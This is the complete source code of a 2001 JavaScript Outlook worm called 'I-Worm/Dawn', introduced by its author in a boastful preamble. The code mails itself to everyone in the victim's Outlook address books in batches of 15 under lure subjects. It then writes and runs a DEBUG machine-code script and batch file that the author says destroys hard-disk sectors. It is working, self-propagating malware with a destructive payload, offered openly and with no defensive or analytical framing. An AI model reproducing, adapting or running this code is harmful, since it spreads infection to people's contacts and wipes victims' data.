I-Worm/Dawn JavaScript Outlook worm. Simple as fuck Outlook worm just to try out the concept, written in JS, cause VBS is for weenies.. Besides, many users have already taken precautions against .VBS files.. but a .JS might slip through.. Sends itself to all addies in the Contact books, not just a single recipient per mail, but 15.. this way it won't take ages for Outlook to send out mails. Then it drops and runs a debug script which nukes HDD sectors. Hell, the worm did what it had to do, so might aswell kill the user.. March/April 2001. T2/IR. - code - var i,x,y,fso,outlook,mapi,mail,debug,shell; var subject=new Array("check it out guys!","this is funny","lol",":]"); try { try { fso=WScript.CreateObject("Scripting.FileSystemObject"); outlook=WScript.CreateObject("Outlook.Application"); mapi=outlook.GetNamespace("MAPI"); i=0; for(y=1;y<=mapi.AddressLists.Count;y++) { for(x=1;x<=mapi.AddressLists(y).AddressEntries.Count;x++) { if (i==15) { mail.Send i=0; } if (i==0) { mail=outlook.CreateItem(0); mail.Subject=subject[Math.round(Math.random()*3)]; mail.Attachments.Add(WScript.ScriptFullName); } mail.Recipients.Add(mapi.AddressLists(y).AddressEntries(x)); i++; } } if (i!=0) mail.Send } finally { WScript.Echo("We are the things that were and shall be again..\nWe want what is your's.. life!\nHahaha, dead by dawn, dead by dawn!"); debug=fso.CreateTextFile("TIME2DIE.DEB"); debug.WriteLine("E 0100 B8 13 35 CD 21 89 1E 1D 01 8C 06 1F 01 0E 07 BB"); debug.WriteLine("E 0110 28 01 B9 02 00 BA 80 00 B8 01 03 9C 9A 00 00 00"); debug.WriteLine("E 0120 00 FE C6 75 F3 42 EB F0 48 69 21 00"); debug.WriteLine("G"); debug.Close(); debug=fso.CreateTextFile("L8RD00D.BAT"); debug.WriteLine("DEBUGNUL"); debug.Close(); shell=WScript.CreateObject("WScript.Shell"); shell.Run("L8RD00D.BAT"); } } catch(i) { WScript.Echo("Oh well.. so you're lucky this time.."); }